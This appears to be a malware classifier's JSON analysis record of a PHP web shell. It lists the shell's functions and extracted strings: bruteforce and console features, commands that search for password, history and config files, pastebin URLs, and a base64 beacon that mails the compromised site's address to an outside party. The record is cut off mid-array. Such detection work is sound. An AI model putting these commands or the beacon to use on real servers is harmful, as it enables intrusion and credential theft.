{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.999975323677063, "class": 2 } ], "prob": 0.9999753, "class": 2, "models": [ { "m": "az", "prob": 0.99828774, "class": 1 }, { "m": "az/scripts", "prob": 0.9998808, "class": 2 }, { "m": "az/php", "prob": 0.9999753, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T07:42:30Z" }, "path": "wew", "raw": { "v": "4", "fs": [ { "f": "KO₉(C₁₆As₃CaDy₃Er₃AlIEuLa₂)H₆(Po₆Cm₆CrDb₉F₇Os₄)Md₂Th₂", "k": { "source.imports[0]": "addcslashes", "source.imports[1]": "addslashes", "source.imports[2]": "array_map", "source.imports[3]": "array_merge", "source.imports[4]": "base64_decode", "source.imports[5]": "basename", "source.imports[6]": "bruteForce", "source.imports[7]": "call_user_func", "source.imports[8]": "cf", "source.imports[9]": "chdir", "source.strings[0]": " \u003ca href=\"http://www.google.com/search?q=", "source.strings[1]": " ) \u003cspan\u003eGroup:\u003c/span\u003e ", "source.strings[2]": " )\u003cbr\u003e:", "source.strings[3]": " \u003c/span\u003e", "source.strings[4]": " \u003ca href=# onclick=\"g(", "source.strings[5]": " \u003ca href=# onclick=\"g(\\'FilesMan\\',\\", "source.strings[6]": " \u003ca href=# onclick=\"g(\\'Php\\',null,null,\\'info\\')\"\u003e[ phpinfo ]\u003c/a\u003e \u003cspan\u003eDatetime:\u003c/span\u003e ", "source.strings[7]": " \u003cspan\u003eFree:\u003c/span\u003e ", "source.strings[8]": " \u003cspan\u003eSafe mode:\u003c/span\u003e ", "source.strings[9]": " ]\u003c/a\u003e ", "source.has_imports": true, "source.imports[10]": "chmod", "source.imports[11]": "chr", "source.imports[12]": "closedir", "source.imports[13]": "copy", "source.imports[14]": "copy_paste", "source.imports[15]": "count", "source.imports[16]": "curl_exec", "source.imports[17]": "curl_init", "source.imports[18]": "date", "source.imports[19]": "decbin", "source.imports[20]": "dechex", "source.imports[21]": "define", "source.imports[22]": "deleteDir", "source.imports[23]": "die", "source.imports[24]": "dirname", "source.imports[25]": "disk_total_space", "source.imports[26]": "diskfreespace", "source.imports[27]": "each", "source.imports[28]": "empty", "source.imports[29]": "error_reporting", "source.imports[30]": "eval", "source.imports[31]": "ex", "source.imports[32]": "exec", "source.imports[33]": "explode", "source.imports[34]": "fclose", "source.imports[35]": "feof", "source.imports[36]": "file", "source.imports[37]": "file_exists", "source.imports[38]": "file_get_contents", "source.imports[39]": "file_put_contents", "source.imports[40]": "fileatime", "source.imports[41]": "filectime", "source.imports[42]": "filegroup", "source.imports[43]": "filemtime", "source.imports[44]": "fileowner", "source.imports[45]": "fileperms", "source.imports[46]": "filesize", "source.imports[47]": "filetype", "source.imports[48]": "fopen", "source.imports[49]": "fputs", "source.imports[50]": "fread", "source.imports[51]": "ftp_close", "source.imports[52]": "ftp_connect", "source.imports[53]": "ftp_login", "source.imports[54]": "func_get_arg", "source.imports[55]": "func_num_args", "source.imports[56]": "function_exists", "source.imports[57]": "fwrite", "source.imports[58]": "get_current_user", "source.imports[59]": "get_magic_quotes_gpc", "source.imports[60]": "getcwd", "source.imports[61]": "getenv", "source.imports[62]": "gethostbyname", "source.imports[63]": "getmygid", "source.imports[64]": "getmyuid", "source.imports[65]": "glob", "source.imports[66]": "header", "source.imports[67]": "hexdec", "source.imports[68]": "highlight_file", "source.imports[69]": "htmlspecialchars", "source.imports[70]": "iconv", "source.imports[71]": "imap_body", "source.imports[72]": "imap_close", "source.imports[73]": "imap_open", "source.imports[74]": "implode", "source.imports[75]": "ini_get", "source.imports[76]": "ini_restore", "source.imports[77]": "ini_set", "source.imports[78]": "is_array", "source.imports[79]": "is_dir", "source.imports[80]": "is_file", "source.imports[81]": "is_link", "source.imports[82]": "is_readable", "source.imports[83]": "is_resource", "source.imports[84]": "is_writable", "source.imports[85]": "isset", "source.imports[86]": "join", "source.imports[87]": "mail", "source.imports[88]": "md5", "source.imports[89]": "mime_content_type", "source.imports[90]": "mkdir", "source.imports[91]": "move_uploaded_file", "source.imports[92]": "mysql_close", "source.imports[93]": "mysql_connect", "source.imports[94]": "mysql_error", "source.imports[95]": "mysql_fetch_array", "source.imports[96]": "mysql_fetch_assoc", "source.imports[97]": "mysql_get_client_info", "source.imports[98]": "mysql_list_dbs", "source.imports[99]": "mysql_query", "source.strings[10]": " target=\"_blank\"\u003e[Google]\u003c/a\u003e \u003ca href=", "source.strings[11]": " target=_blank\u003e[milw0rm]\u003c/a\u003e\u003c/nobr\u003e\u003cbr\u003e:", "source.strings[12]": "\" target=\"_blank\"\u003e[Google]\u003c/a\u003e \u003ca href=\"", "source.strings[13]": "\" target=_blank\u003e[milw0rm]\u003c/a\u003e\u003c/nobr\u003e\u003cbr\u003e:", "source.strings[14]": "#00ff00", "source.strings[15]": "%\"\u003e[ \u003ca href=\"#\" onclick=\"g(", "source.strings[16]": "%\"\u003e[ \u003ca href=\"#\" onclick=\"g(\\", "source.strings[17]": "%)\u003cbr\u003e:", "source.strings[18]": ")\"\u003e[ home ]\u003c/a\u003e\u003cbr\u003e:", "source.strings[19]": ")\"\u003e[ phpinfo ]\u003c/a\u003e \u003cspan\u003eDatetime:\u003c/span\u003e ", "source.strings[20]": ",null,", "source.strings[21]": ",null,null,", "source.strings[22]": "/\\')\"\u003e[ ", "source.strings[23]": "2ww.php", "source.strings[24]": "\u003c/a\u003e ]\u003c/th\u003e", "source.strings[25]": "\u003c/b\u003e\u003c/font\u003e", "source.strings[26]": "\u003c/nobr\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e", "source.strings[27]": "\u003c/optgroup\u003e\u003c/select\u003e\u003cbr\u003e\u003cspan\u003eServer IP:\u003c/span\u003e\u003cbr\u003e", "source.strings[28]": "\u003c/option\u003e", "source.strings[29]": "\u003c/pre\u003e", "source.strings[30]": "\u003c/span\u003e\u003c/td\u003e", "source.strings[31]": "\u003c/tr\u003e\u003c/table\u003e\u003cdiv style=\"margin:5\"\u003e", "source.strings[32]": "\u003ca href=\"#\" onclick=\"g(", "source.strings[33]": "\u003ca href=\"#\" onclick=\"g(\\'FilesMan\\',\\", "source.strings[34]": "\u003ca href='#' onclick='g(", "source.strings[35]": "\u003ca href='#' onclick='g(\\\"FilesMan\\\",\\", "source.strings[36]": "\u003cbr\u003e\u003cspan\u003eClient IP:\u003c/span\u003e\u003cbr\u003e", "source.strings[37]": "\u003cbr\u003eDrives", "source.strings[38]": "\u003cfont color=#00BB00\u003e\u003cb\u003e", "source.strings[39]": "\u003cfont color=#FF0000\u003e\u003cb\u003e", "source.strings[40]": "\u003cfont color=\u003c?=$color?\u003e\u003cb\u003eOFF\u003c/b\u003e\u003c/font\u003e", "source.strings[41]": "\u003cfont color=green\u003e[ Writeable ]\u003c/font\u003e", "source.strings[42]": "\u003cfont color=red\u003eON\u003c/font\u003e", "source.strings[43]": "\u003cfont color=red\u003e[ Not writable ]\u003c/font\u003e", "source.strings[44]": "\u003cfont color=white\u003e\u003cb\u003e", "source.strings[45]": "\u003ch1\u003eServer security information\u003c/h1\u003e\u003cdiv class=content\u003e", "source.strings[46]": "\u003coption value=", "source.strings[47]": "\u003coption value=\"", "source.strings[48]": "\u003cpre class=ml1\u003e", "source.strings[49]": "\u003cspan\u003e", "source.strings[50]": "\u003ctable cellpadding=3 cellspacing=0 width=100%\u003e\u003ctr\u003e", "source.strings[51]": "\u003ctable class=info cellpadding=3 cellspacing=0 width=100%\u003e\u003ctr\u003e\u003ctd width=1\u003e\u003cspan\u003eUname\u003cbr\u003eUser\u003cbr\u003ePhp\u003cbr\u003eHdd\u003cbr\u003eCwd", "source.strings[52]": "\u003ctd width=1 align=right\u003e\u003cnobr\u003e\u003cselect onchange=\"g(null,null,null,null,null,this.value)\"\u003e\u003coptgroup label=\"Page charset\"\u003e", "source.strings[53]": "\u003ctd\u003e:\u003cnobr\u003e", "source.strings[54]": "\u003cth width=", "source.strings[55]": "\u003cth width=\"", "source.strings[56]": "ARP Table", "source.strings[57]": "Bruteforce", "source.strings[58]": "Console", "source.strings[59]": "Directory", "source.strings[60]": "Disabled PHP Functions", "source.strings[61]": "FilesMan", "source.strings[62]": "Find *config*.php in current dir", "source.strings[63]": "Find index.php in current dir", "source.strings[64]": "Google", "source.strings[65]": "HTTP/1.0 404 Not Found", "source.strings[66]": "HTTP_HOST", "source.strings[67]": "HTTP_USER_AGENT", "source.strings[68]": "IP Configuration", "source.strings[69]": "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJkMHpfYUB5YWhvby5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs=", "source.strings[70]": "KOI8-R", "source.strings[71]": "KOI8-U", "source.strings[72]": "Linux Kernel ", "source.strings[73]": "List Directory", "source.strings[74]": "List dir", "source.strings[75]": "Locate", "source.strings[76]": "Logout", "source.strings[77]": "MySql (", "source.strings[78]": "Network", "source.strings[79]": "Open base dir", "source.strings[80]": "Oracle", "source.strings[81]": "PostgreSQL", "source.strings[82]": "REMOTE_ADDR", "source.strings[83]": "REQUEST_URI", "source.strings[84]": "SCRIPT_NAME", "source.strings[85]": "SELF_PATH", "source.strings[86]": "SERVER_ADDR", "source.strings[87]": "SERVER_NAME", "source.strings[88]": "SERVER_SOFTWARE", "source.strings[89]": "Safe mode", "source.strings[90]": "Safe mode exec dir", "source.strings[91]": "Safe mode include dir", "source.strings[92]": "SafeMode", "source.strings[93]": "Sec. Info", "source.strings[94]": "SecInfo", "source.strings[95]": "Self remove", "source.strings[96]": "SelfRemove", "source.strings[97]": "Server software", "source.strings[98]": "Shell: http://", "source.strings[99]": "Show active connections", "source.functions[0]": "DbClass", "source.functions[1]": "actionBruteforce", "source.functions[2]": "actionConsole", "source.functions[3]": "actionFilesMan", "source.functions[4]": "actionFilesTools", "source.functions[5]": "actionLogout", "source.functions[6]": "actionNetwork", "source.functions[7]": "actionPhp", "source.functions[8]": "actionSafeMode", "source.functions[9]": "actionSecInfo", "source.imports[100]": "mysql_real_escape_string", "source.imports[101]": "mysql_select_db", "source.imports[102]": "mysql_set_charset", "source.imports[103]": "nl2br", "source.imports[104]": "ob_get_clean", "source.imports[105]": "ob_start", "source.imports[106]": "opendir", "source.imports[107]": "ord", "source.imports[108]": "passthru", "source.imports[109]": "pclose", "source.imports[110]": "perms", "source.imports[111]": "pg_close", "source.imports[112]": "pg_connect", "source.imports[113]": "pg_fetch_assoc", "source.imports[114]": "pg_last_error", "source.imports[115]": "pg_query", "source.imports[116]": "pg_set_client_encoding", "source.imports[117]": "php_uname", "source.imports[118]": "phpinfo", "source.imports[119]": "phpversion", "source.imports[120]": "popen", "source.imports[121]": "posix_getegid", "source.imports[122]": "posix_geteuid", "source.imports[123]": "posix_getgrgid", "source.imports[124]": "posix_getpwuid", "source.imports[125]": "pow", "source.imports[126]": "preg_match", "source.imports[127]": "preg_replace", "source.imports[128]": "printFooter", "source.imports[129]": "printHeader", "source.imports[130]": "printLogin", "source.imports[131]": "range", "source.imports[132]": "readdir", "source.imports[133]": "rename", "source.imports[134]": "reset", "source.imports[135]": "rmdir", "source.imports[136]": "scandir", "source.imports[137]": "session_start", "source.imports[138]": "set_magic_quotes_runtime", "source.imports[139]": "set_time_limit", "source.imports[140]": "shell_exec", "source.imports[141]": "showSecParam", "source.imports[142]": "sprintf", "source.imports[143]": "strLen", "source.imports[144]": "str_replace", "source.imports[145]": "strcmp", "source.imports[146]": "stripslashes", "source.imports[147]": "stripslashes_array", "source.imports[148]": "strlen", "source.imports[149]": "strpos", "source.imports[150]": "strtolower", "source.imports[151]": "strtotime", "source.imports[152]": "strtoupper", "source.imports[153]": "substr", "source.imports[154]": "system", "source.imports[155]": "tempnam", "source.imports[156]": "touch", "source.imports[157]": "trim", "source.imports[158]": "unlink", "source.imports[159]": "urldecode", "source.imports[160]": "urlencode", "source.imports[161]": "usort", "source.imports[162]": "viewPermsColor", "source.imports[163]": "viewSize", "source.imports[164]": "which", "source.strings[100]": "Show computers", "source.strings[101]": "Show running services", "source.strings[102]": "String tools", "source.strings[103]": "StringTools", "source.strings[104]": "Supported databases", "source.strings[105]": "User accounts", "source.strings[106]": "VERSION", "source.strings[107]": "Windows-1251", "source.strings[108]": "Y-m-d H:i:s", "source.strings[109]": "\\',\\'\\',\\'\\',\\'\\')\"\u003e[ home ]\u003c/a\u003e\u003cbr\u003e:", "source.strings[110]": "\\',null,\\'\\',\\'\\',\\'\\')\"\u003e", "source.strings[111]": "a730c4f1b2ae5839fe9839305da9a4c1", "source.strings[112]": "arp -a", "source.strings[113]": "auth_pass", "source.strings[114]": "bdcored", "source.strings[115]": "cURL support", "source.strings[116]": "charset", "source.strings[117]": "chkrootkit", "source.strings[118]": "config*", "source.strings[119]": "curl_version", "source.strings[120]": "dir /s /w /b *config*.php", "source.strings[121]": "dir /s /w /b index.php", "source.strings[122]": "disable_functions", "source.strings[123]": "disable_functions = None", "source.strings[124]": "drwebd", "source.strings[125]": "enabled", "source.strings[126]": "error_log", "source.strings[127]": "find . -perm -2 -ls", "source.strings[128]": "find . -type f -name ", "source.strings[129]": "find . -type f -name .bash_history", "source.strings[130]": "find . -type f -name .fetchmailrc", "source.strings[131]": "find . -type f -name .htpasswd", "source.strings[132]": "find . -type f -name \\\"config*\\", "source.strings[133]": "find . -type f -name service.pwd", "source.strings[134]": "find . -type f -perm -02000 -ls", "source.strings[135]": "find . -type f -perm -04000 -ls", "source.strings[136]": "find .bash_history files in current dir", "source.strings[137]": "find .fetchmailrc files in current dir", "source.strings[138]": "find .htpasswd files in current dir", "source.strings[139]": "find / -perm -2 -ls", "source.strings[140]": "find / -type f -name ", "source.strings[141]": "find / -type f -name .bash_history", "source.strings[142]": "find / -type f -name .fetchmailrc", "source.strings[143]": "find / -type f -name .htpasswd", "source.strings[144]": "find / -type f -name \\\"config*\\", "source.strings[145]": "find / -type f -name config.inc.php", "source.strings[146]": "find / -type f -name service.pwd", "source.strings[147]": "find / -type f -perm -02000 -ls", "source.strings[148]": "find / -type f -perm -04000 -ls", "source.strings[149]": "find all .bash_history files", "source.strings[150]": "find all .fetchmailrc files", "source.strings[151]": "find all .htpasswd files", "source.strings[152]": "find all service.pwd files", "source.strings[153]": "find all sgid files", "source.strings[154]": "find all suid files", "source.strings[155]": "find all writable folders and files", "source.strings[156]": "find all writable folders and files in current dir", "source.strings[157]": "find config* files", "source.strings[158]": "find config* files in current dir", "source.strings[159]": "find config.inc.php files", "source.strings[160]": "find service.pwd files in current dir", "source.strings[161]": "find sgid files in current dir", "source.strings[162]": "find suid files in current dir", "source.strings[163]": "home_cwd", "source.strings[164]": "http://", "source.strings[165]": "http://milw0rm.com/search.php?dong=", "source.strings[166]": "https://pastebin.com/raw/GUcxfLzm", "source.strings[167]": "https://pastebin.com/raw/YDMtmcAr", "source.strings[168]": "ipconfig /all", "source.strings[169]": "list file attributes on a Linux second extended file system", "source.strings[170]": "locate", "source.strings[171]": "locate '.bash_history", "source.strings[172]": "locate '.conf", "source.strings[173]": "locate '.fetchmailrc", "source.strings[174]": "locate '.htpasswd", "source.strings[175]": "locate '.mysql_history", "source.strings[176]": "locate '.pwd", "source.strings[177]": "locate '.sql", "source.strings[178]": "locate .bash_history files", "source.strings[179]": "locate .conf files", "source.strings[180]": "locate .fetchmailrc files", "source.strings[181]": "locate .htpasswd files", "source.strings[182]": "locate .mysql_history files", "source.strings[183]": "locate .pwd files", "source.strings[184]": "locate .sql files", "source.strings[185]": "locate admin.php", "source.strings[186]": "locate admin.php files", "source.strings[187]": "locate backup", "source.strings[188]": "locate backup files", "source.strings[189]": "locate cfg.php", "source.strings[190]": "locate cfg.php files", "source.strings[191]": "locate conf.php", "source.strings[192]": "locate conf.php files", "source.strings[193]": "locate config", "source.strings[194]": "locate config* files ", "source.strings[195]": "locate config.dat", "source.strings[196]": "locate config.dat files", "source.strings[197]": "locate config.default.php", "source.strings[198]": "locate config.default.php files", "source.strings[199]": "locate config.inc", "source.strings[200]": "locate config.inc files", "source.strings[201]": "locate config.inc.php", "source.strings[202]": "locate config.php", "source.strings[203]": "locate config.php files", "source.strings[204]": "locate dump", "source.strings[205]": "locate dump files", "source.strings[206]": "locate httpd.conf", "source.strings[207]": "locate httpd.conf files", "source.strings[208]": "locate my.conf", "source.strings[209]": "locate my.conf files", "source.strings[210]": "locate priv", "source.strings[211]": "locate priv files", "source.strings[212]": "locate proftpd.conf", "source.strings[213]": "locate proftpd.conf files", "source.strings[214]": "locate psybnc.conf", "source.strings[215]": "locate psybnc.conf files", "source.strings[216]": "locate vhosts.conf", "source.strings[217]": "locate vhosts.conf files", "source.strings[218]": "log_errors", "source.strings[219]": "ls -la", "source.strings[220]": "lsattr -va", "source.strings[221]": "max_execution_time", "source.strings[222]": "mssql_connect", "source.strings[223]": "mysql_get_client_info", "source.strings[224]": "net start", "source.strings[225]": "net user", "source.strings[226]": "net view", "source.strings[227]": "netstat -an", "source.strings[228]": "netstat -an | grep -i listen", "source.strings[229]": "oci_connect", "source.strings[230]": "open_basedir", "source.strings[231]": "passthru", "source.strings[232]": "pg_connect", "source.strings[233]": "php.ini", "source.strings[234]": "posix_getegid", "source.strings[235]": "posix_getgrgid", "source.strings[236]": "posix_getpwuid", "source.strings[237]": "python", "source.strings[238]": "rkhunter", "source.strings[239]": "safe_mode", "source.strings[240]": "safe_mode = Off", "source.strings[241]": "safe_mode = Off\\r\\n\\t\\tdisable_functions = None\\r\\n\\t\\t", "source.strings[242]": "safe_mode_exec_dir", "source.strings[243]": "safe_mode_include_dir", "source.strings[244]": "scandir", "source.strings[245]": "selected", "source.strings[246]": "shell_exec", "source.strings[247]": "show opened ports", "source.strings[248]": "stripslashes_array", "source.strings[249]": "suidperl", "source.strings[250]": "system", "source.strings[251]": "uvscan", "source.strings[252]": "which ", "source.strings[253]": "wildt00lz@gmail.com", "source.strings[254]": "wildt00lz@hotmail.com", "source.strings[255]": "wmw.php", "source.functions[10]": "actionSelfRemove", "source.functions[11]": "actionSql", "source.functions[12]": "actionStringTools", "source.functions[13]": "ascii2hex", "source.functions[14]": "bruteForce", "source.functions[15]": "cf", "source.functions[16]": "cmp", "source.functions[17]": "connect", "source.functions[18]": "copy_paste", "source.functions[19]": "deleteDir", "source.functions[20]": "dump", "source.functions[21]": "error", "source.functions[22]": "ex", "source.functions[23]": "fetch", "source.functions[24]": "full_urlencode", "source.functions[25]": "hex2ascii", "source.functions[26]": "hex2bin", "source.functions[27]": "listDbs", "source.functions[28]": "listTables", "source.functions[29]": "move_paste", "source.functions[30]": "perms", "source.functions[31]": "posix_getgrgid", "source.functions[32]": "posix_getpwuid", "source.functions[33]": "printFooter", "source.functions[34]": "printHeader", "source.functions[35]": "printLogin", "source.functions[36]": "query", "source.functions[37]": "scandir", "source.functions[38]": "selectdb", "source.functions[39]": "setCharset", "source.functions[40]": "showSecParam", "source.functions[41]": "stripslashes_array", "source.functions[42]": "viewPermsColor", "source.functions[43]": "viewSize", "source.functions[44]": "which" }, "x": 859, "id": 0, "is": [ "define", "strpos", "header", "session_start", "error_reporting", "ini_set", "ini_set", "ini_set", "set_time_limit", "set_magic_quotes_runtime", "define", "get_magic_quotes_gpc", "is_array", "array_map", "stripslashes", "stripslashes_array", "dirname", "mail", "dirname", "mail", "file_get_contents", "fopen", "fwrite", "file_get_contents", "fopen", "fwrite", "dirname", "file_put_contents", "isset", "md5", "empty", "isset", "md5", "md5", "printLogin", "strtolower", "substr", "ini_get", "ini_get", "getcwd", "isset", "chdir", "getcwd", "str_replace", "str_replace", "strlen", "eval", "base64_decode", "empty", "isset", "htmlspecialchars", "isset", "htmlspecialchars", "isset", "htmlspecialchars", "isset", "htmlspecialchars", "isset", "diskfreespace", "disk_total_space", "php_uname", "php_uname", "strpos", "urlencode", "substr", "urlencode", "substr", "function_exists", "get_current_user", "getmyuid", "getmygid", "posix_getpwuid", "posix_geteuid", "posix_getgrgid", "posix_getegid", "explode", "count", "empty", "count", "range", "is_dir", "substr", "php_uname", "urlencode", "php_uname", "phpversion", "date", "viewSize", "viewSize", "viewPermsColor", "gethostbyname", "is_writable", "htmlspecialchars", "htmlspecialchars", "isset", "function_exists", "strpos", "function_exists", "strpos", "function_exists", "exec", "join", "function_exists", "ob_start", "passthru", "ob_get_clean", "function_exists", "ob_start", "system", "ob_get_clean", "function_exists", "shell_exec", "is_resource", "popen", "feof", "fread", "pclose", "sprintf", "sprintf", "sprintf", "is_readable", "perms", "fileperms", "is_writable", "perms", "fileperms", "perms", "fileperms", "function_exists", "opendir", "readdir", "ex", "empty", "printHeader", "trim", "strpos", "showSecParam", "getenv", "showSecParam", "showSecParam", "ini_get", "showSecParam", "ini_get", "showSecParam", "ini_get", "showSecParam", "function_exists", "function_exists", "mysql_get_client_info", "function_exists", "function_exists", "function_exists", "showSecParam", "implode", "showSecParam", "is_readable", "showSecParam", "is_readable", "showSecParam", "file_get_contents", "showSecParam", "file_get_contents", "which", "showSecParam", "implode", "which", "showSecParam", "implode", "which", "showSecParam", "implode", "showSecParam", "file_get_contents", "showSecParam", "ex", "showSecParam", "file_get_contents", "showSecParam", "ex", "showSecParam", "ex", "showSecParam", "ex", "printFooter", "isset", "md5", "ob_start", "eval", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "printHeader", "isset", "ob_start", "phpinfo", "ob_get_clean", "preg_replace", "preg_replace", "preg_replace", "preg_replace", "preg_replace", "empty", "empty", "md5", "empty", "htmlspecialchars", "md5", "empty", "empty", "ob_start", "eval", "htmlspecialchars", "ob_get_clean", "printFooter", "printHeader", "isset", "move_uploaded_file", "mkdir", "substr", "opendir", "readdir", "basename", "basename", "filetype", "deleteDir", "unlink", "closedir", "rmdir", "is_array", "urldecode", "is_dir", "deleteDir", "unlink", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "copy_paste", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "rename", "empty", "urldecode", "scandir", "isset", "empty", "preg_match", "count", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "date", "filemtime", "viewPermsColor", "filesize", "fileowner", "filegroup", "is_file", "array_merge", "is_link", "array_merge", "is_dir", "array_merge", "strcmp", "usort", "usort", "usort", "array_merge", "urlencode", "urlencode", "htmlspecialchars", "htmlspecialchars", "viewSize", "urlencode", "urlencode", "urlencode", "urlencode", "urlencode", "htmlspecialchars", "isset", "empty", "count", "printFooter", "function_exists", "decbin", "hexdec", "function_exists", "strLen", "chr", "hexdec", "function_exists", "strlen", "dechex", "ord", "strtoupper", "function_exists", "strlen", "dechex", "ord", "strtoupper", "isset", "md5", "ob_start", "function_exists", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "printHeader", "empty", "empty", "md5", "htmlspecialchars", "md5", "htmlspecialchars", "empty", "empty", "function_exists", "htmlspecialchars", "printFooter", "isset", "urldecode", "is_file", "is_readable", "ob_start", "header", "basename", "function_exists", "mime_content_type", "header", "fopen", "feof", "fread", "fclose", "is_dir", "is_readable", "file_exists", "fopen", "fclose", "printHeader", "file_exists", "printFooter", "posix_getpwuid", "fileowner", "posix_getgrgid", "fileowner", "htmlspecialchars", "is_file", "viewSize", "filesize", "viewPermsColor", "date", "filectime", "date", "fileatime", "date", "filemtime", "empty", "is_file", "strtolower", "strtolower", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "is_readable", "highlight_file", "str_replace", "empty", "strlen", "pow", "strlen", "chmod", "die", "substr", "sprintf", "fileperms", "is_writable", "empty", "file_put_contents", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "file_get_contents", "strlen", "sprintf", "ord", "ord", "sprintf", "htmlspecialchars", "empty", "rename", "die", "urlencode", "htmlspecialchars", "empty", "strtotime", "touch", "die", "date", "filemtime", "printFooter", "ob_start", "tempnam", "copy", "file_get_contents", "unlink", "glob", "is_array", "curl_init", "curl_exec", "ini_restore", "ini_restore", "posix_getpwuid", "join", "function_exists", "imap_open", "imap_body", "imap_close", "ob_get_clean", "printHeader", "printFooter", "isset", "md5", "ob_start", "iconv", "addcslashes", "ex", "preg_match", "chdir", "getcwd", "ob_get_clean", "strlen", "printHeader", "htmlspecialchars", "htmlspecialchars", "empty", "empty", "md5", "md5", "empty", "htmlspecialchars", "ex", "printFooter", "md5", "printHeader", "unlink", "die", "printFooter", "printHeader", "isset", "htmlspecialchars", "htmlspecialchars", "ftp_connect", "ftp_login", "ftp_close", "mysql_connect", "mysql_close", "pg_connect", "pg_close", "explode", "file", "is_array", "explode", "bruteForce", "htmlspecialchars", "htmlspecialchars", "strlen", "bruteForce", "htmlspecialchars", "htmlspecialchars", "file", "is_array", "trim", "bruteForce", "htmlspecialchars", "htmlspecialchars", "printFooter", "mysql_connect", "explode", "pg_connect", "mysql_select_db", "mysql_query", "pg_query", "func_num_args", "func_get_arg", "mysql_fetch_assoc", "pg_fetch_assoc", "mysql_list_dbs", "mysql_error", "pg_last_error", "function_exists", "mysql_set_charset", "pg_set_client_encoding", "mysql_fetch_array", "mysql_real_escape_string", "implode", "implode", "addslashes", "implode", "implode", "ob_start", "header", "header", "printHeader", "isset", "empty", "empty", "empty", "isset", "each", "isset", "empty", "each", "empty", "reset", "nl2br", "addslashes", "printFooter", "printHeader", "isset", "fopen", "function_exists", "fwrite", "base64_decode", "fputs", "base64_decode", "file_put_contents", "base64_decode", "fclose", "cf", "ex", "unlink", "ex", "ex", "cf", "ex", "which", "ex", "cf", "ex", "unlink", "ex", "ex", "cf", "ex", "which", "ex", "printFooter", "empty", "isset", "function_exists", "empty", "function_exists", "call_user_func" ], "ms": { "file": { "size": 75461.0 }, "text": { "tab_count": 430.0, "digit_ratio": 0.04, "space_count": 18979.0, "total_lines": 1623.0, "char_entropy": 5.12, "mixed_indent": true, "unique_chars": 97.0, "escape_density": 0.01, "import_density": 35.0, "lines_over_200": 33.0, "lines_over_500": 12.0, "string_density": 1.64, "avg_line_length": 45.36, "lines_over_1000": 6.0, "max_line_length": 2577.0, "empty_line_ratio": 0.0, "last_line_length": 8.0, "long_token_count": 15.0, "most_common_char": "e", "whitespace_ratio": 0.28, "most_common_ratio": 0.05, "identifier_density": 1.2, "line_length_stddev": 108.56, "octal_escape_count": 4.0, "encoded_string_ratio": 0.01, "normalized_import_count": 14.1, "normalized_string_count": 65.98, "repeated_char_sequences": 609.0, "suspicious_string_ratio": 0.03, "max_inline_whitespace_run": 3.0, "normalized_function_count": 1.17, "trailing_whitespace_lines": 46.0, "imports_to_functions_ratio": 12.09, "strings_to_functions_ratio": 56.55, "suspicious_identifier_ratio": 0.06, "normalized_unique_identifiers": 28.88, "identifiers_to_functions_ratio": 6.55 }, "imports": { "total": 568.0, "unique_modules": 165.0, "third_party_count": 568.0, "third_party_ratio": 1.0 }, "strings": { "total": 2658.0, "url_count": 10.0, "avg_length": 16.62, "max_length": 1163.0, "path_count": 50.0, "avg_entropy": 2.33, "email_count": 4.0, "hex_strings": 2.0, "sql_strings": 17.0, "total_bytes": 44170.0, "entropy_stddev": 1.29, "base64_candidates": 12.0, "very_long_strings": 3.0, "high_entropy_count": 10.0, "shell_command_strings": 38.0, "embedded_code_candidates": 20.0 }, "comments": { "chars": 118.0, "lines": 4.0, "total": 4.0, "to_code_ratio": 0.0 }, "functions": { "total": 47.0, "length_stddev": 63.21, "over_100_lines": 4.0, "avg_name_length": 9.87, "no_params_count": 47.0, "avg_length_lines": 38.38, "max_length_lines": 347.0, "min_length_lines": 4.0, "avg_nesting_depth": 0.49, "max_nesting_depth": 1.0, "high_entropy_names": 2.0, "density_per_100_lines": 2.9, "code_in_functions_ratio": 1.11 }, "identifiers": { "total": 1942.0, "avg_length": 7.71, "max_length": 24.0, "min_length": 1.0, "avg_entropy": 2.38, "reuse_ratio": 0.16, "unique_count": 308.0, "length_stddev": 4.53, "has_digit_ratio": 0.03, "sequential_names": 20.0, "single_char_count": 18.0, "single_char_ratio": 0.06, "high_entropy_count": 10.0, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.85, "all_uppercase_ratio": 0.03, "numeric_suffix_count": 3.0, "double_underscore_count": 1.0, "underscore_prefix_count": 5.0 } }, "ss": [ [ 52, "a730c4f1b2ae5839fe9839305da9a4c1" ], [ 53, "a730c4f1b2ae5839fe9839305da9a4c1" ], [ 124, "#00ff00" ], [ 125, "#00ff00" ], [ 153, "FilesMan" ], [ 154, "FilesMan" ], [ 173, "SELF_PATH" ], [ 174, "SELF_PATH" ], [ 217, "HTTP_USER_AGENT" ], [ 218, "HTTP_USER_AGENT" ], [ 237, "Google" ], [ 238, "Google" ], [ 271, "HTTP/1.0 404 Not Found" ], [ 272, "HTTP/1.0 404 Not Found" ], [ 358, "error_log" ], [ 359, "error_log" ], [ 387, "log_errors" ], [ 388, "log_errors" ], [ 414, "max_execution_time" ], [ 415, 